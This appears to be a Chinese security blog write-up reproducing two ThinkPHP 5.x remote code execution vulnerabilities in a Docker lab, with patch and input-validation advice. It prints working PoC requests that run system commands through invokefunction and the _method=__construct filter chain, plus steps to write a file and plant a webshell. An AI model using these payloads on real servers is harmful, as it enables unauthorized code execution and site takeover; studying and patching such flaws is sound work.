目录
ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞
ThinkPHP 5.0.23 远程代码执行漏洞
POC 集合
漏洞修复建议
参考资料
一、ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞
1.1 漏洞描述
ThinkPHP 5.0.22 及 5.1.29 版本存在远程代码执行(RCE)漏洞。攻击者可利用该漏洞在未授权的情况下,通过精心构造的恶意请求,在目标服务器上远程执行任意 PHP 代码。
1.2 影响版本
ThinkPHP 5.0.22
ThinkPHP 5.1.29
1.3 漏洞原理
该漏洞是由于 ThinkPHP 5 在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有 PHP 函数的控制器方法,并通过 URL 参数的形式访问该方法,从而触发 RCE。
1.4 框架判断
判断目标是否使用 ThinkPHP:访问
http://xxx:8080/router.php(ThinkPHP 框架中必定包含此文件)或http://xxx:8080/?s=a观察返回信息。1.5 漏洞复现
步骤 1:开启 Docker 环境,访问 http://xxx:8080/ 确认服务正常。
步骤 2:执行 PoC,验证 phpinfo:
http://xxx:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100步骤 3:执行 whoami 命令验证命令执行:
http://xxx:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami步骤 4:写入文件(WebShell 演示):URL 编码后的 payload 写入 shell.php([WEBSHELL_PAYLOAD_REMOVED])。
步骤 5:使用连接工具连接 shell.php 验证复现成功。
二、ThinkPHP 5.0.23 远程代码执行漏洞
2.1 漏洞描述
ThinkPHP 5.0.23 版本存在另一类型 RCE 漏洞。攻击者通过特定的利用链,可以调用 Request 类的任意方法,最终导致 RCE。
2.2 影响版本
ThinkPHP 5.0.23 及以下版本
2.3 漏洞原理
框架在获取请求方法时会错误地对其进行处理,使攻击者可以调用 Request 类的任何方法,从而通过特定利用链导致 RCE。
2.4 漏洞复现
步骤 1:虚拟机开启 Docker 环境,访问虚拟机的 IP 加 8080 端口。
步骤 2:BurpSuite 抓包,将传参方式修改为 POST,URL 后接入
/index.php?s=captcha,POST Body 传入以下参数:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd其中 pwd 为要执行的命令(显示当前目录)。
步骤 3:写入 phpinfo 文件:
echo "<?php phpinfo(); ?>" > info.php步骤 4:上传 WebShell(已脱敏处理,原理与前文类似)。
三、POC 集合
3.1 ThinkPHP 5.0.22 / 5.1.29 RCE PoC
PoC 1 — 验证 phpinfo: http://xxx:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 PoC 2 — 执行系统命令: http://xxx:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami3.2 ThinkPHP 5.0.23 RCE PoC
POST /index.php?s=captcha HTTP/1.1 Host: xxx:8080 Content-Type: application/x-www-form-urlencoded _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd四、漏洞修复建议
升级版本:官方已发布修复版本:5.0.22/5.1.29 用户升级至 5.0.23 或 5.1.30;5.0.23 用户升级至 5.0.24 及以上版本
输入验证:对用户输入的数据进行充分过滤与验证,严格限制控制器方法调用的参数
安全编码:不要在控制器中直接使用用户输入作为函数名或方法名
定期更新:定期检查和更新 Web 框架版本,关注官方安全公告
总结:ThinkPHP 5.0.22 和 5.1.29 版本存在 RCE 漏洞(CVE-2018-20062),ThinkPHP 5.0.23 版本同样存在 RCE 漏洞,利用方式有所不同。为防止此类漏洞,需对用户输入进行充分过滤,定期更新版本。
五、参考资料
CVE-2018-20062 — ThinkPHP 5.x 远程代码执行漏洞
ThinkPHP 官方安全公告 - thinkphp.cn
ThinkPHP框架漏洞:RCE分析与复现指南
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法